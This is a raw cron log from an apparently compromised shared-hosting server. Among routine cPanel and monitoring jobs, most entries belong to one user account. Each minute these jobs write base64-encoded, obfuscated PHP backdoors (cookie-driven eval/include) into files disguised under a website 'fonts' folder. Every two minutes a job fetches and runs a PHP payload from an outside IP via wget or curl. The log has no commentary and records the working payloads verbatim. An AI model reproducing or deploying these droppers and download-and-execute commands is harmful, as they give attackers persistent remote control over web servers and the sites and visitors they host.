Sep 20 17:10:02 ip-184-168-122-23 CROND[11222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 17:10:02 ip-184-168-122-23 CROND[11221]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 17:10:02 ip-184-168-122-23 CROND[11227]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 17:11:01 ip-184-168-122-23 CROND[11463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 17:11:01 ip-184-168-122-23 CROND[11464]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 17:11:01 ip-184-168-122-23 CROND[11467]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 17:11:01 ip-184-168-122-23 CROND[11469]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:12:01 ip-184-168-122-23 CROND[11729]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 17:12:01 ip-184-168-122-23 CROND[11731]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:12:01 ip-184-168-122-23 CROND[11733]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 17:12:01 ip-184-168-122-23 CROND[11734]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 17:12:01 ip-184-168-122-23 CROND[11736]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 17:13:02 ip-184-168-122-23 CROND[11984]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 17:13:02 ip-184-168-122-23 CROND[11987]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:13:02 ip-184-168-122-23 CROND[11985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 17:13:02 ip-184-168-122-23 CROND[11989]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 17:14:01 ip-184-168-122-23 CROND[12345]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 17:14:01 ip-184-168-122-23 CROND[12346]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:14:01 ip-184-168-122-23 CROND[12347]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 17:14:01 ip-184-168-122-23 CROND[12348]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 17:14:01 ip-184-168-122-23 CROND[12349]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 17:15:01 ip-184-168-122-23 CROND[12612]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 17:15:01 ip-184-168-122-23 CROND[12615]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 17:15:01 ip-184-168-122-23 CROND[12616]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 17:15:01 ip-184-168-122-23 CROND[12614]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:15:01 ip-184-168-122-23 CROND[12613]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 17:15:01 ip-184-168-122-23 CROND[12617]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 17:16:01 ip-184-168-122-23 CROND[12870]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 17:16:02 ip-184-168-122-23 CROND[12871]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 17:16:02 ip-184-168-122-23 CROND[12872]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:16:02 ip-184-168-122-23 CROND[12877]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 17:16:02 ip-184-168-122-23 CROND[12875]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 17:16:02 ip-184-168-122-23 CROND[12876]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 17:17:01 ip-184-168-122-23 CROND[13122]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 17:17:01 ip-184-168-122-23 CROND[13123]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:17:01 ip-184-168-122-23 CROND[13124]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 17:17:01 ip-184-168-122-23 CROND[13125]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 17:18:01 ip-184-168-122-23 CROND[13426]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 17:18:01 ip-184-168-122-23 CROND[13428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 17:18:01 ip-184-168-122-23 CROND[13429]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 17:18:01 ip-184-168-122-23 CROND[13433]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 17:18:01 ip-184-168-122-23 CROND[13432]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:19:01 ip-184-168-122-23 CROND[13749]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 17:19:01 ip-184-168-122-23 CROND[13750]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 17:19:01 ip-184-168-122-23 CROND[13753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 17:19:01 ip-184-168-122-23 CROND[13752]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:20:01 ip-184-168-122-23 CROND[13985]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 17:20:01 ip-184-168-122-23 CROND[13989]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 17:20:01 ip-184-168-122-23 CROND[13997]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 17:20:01 ip-184-168-122-23 CROND[13999]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:20:01 ip-184-168-122-23 CROND[13996]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 17:20:01 ip-184-168-122-23 CROND[13995]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 17:20:01 ip-184-168-122-23 CROND[13998]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 17:20:01 ip-184-168-122-23 CROND[14000]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 17:20:01 ip-184-168-122-23 CROND[14001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 17:21:01 ip-184-168-122-23 CROND[14222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 17:21:01 ip-184-168-122-23 CROND[14223]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:21:01 ip-184-168-122-23 CROND[14225]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 17:21:01 ip-184-168-122-23 CROND[14227]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 17:22:02 ip-184-168-122-23 CROND[14470]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
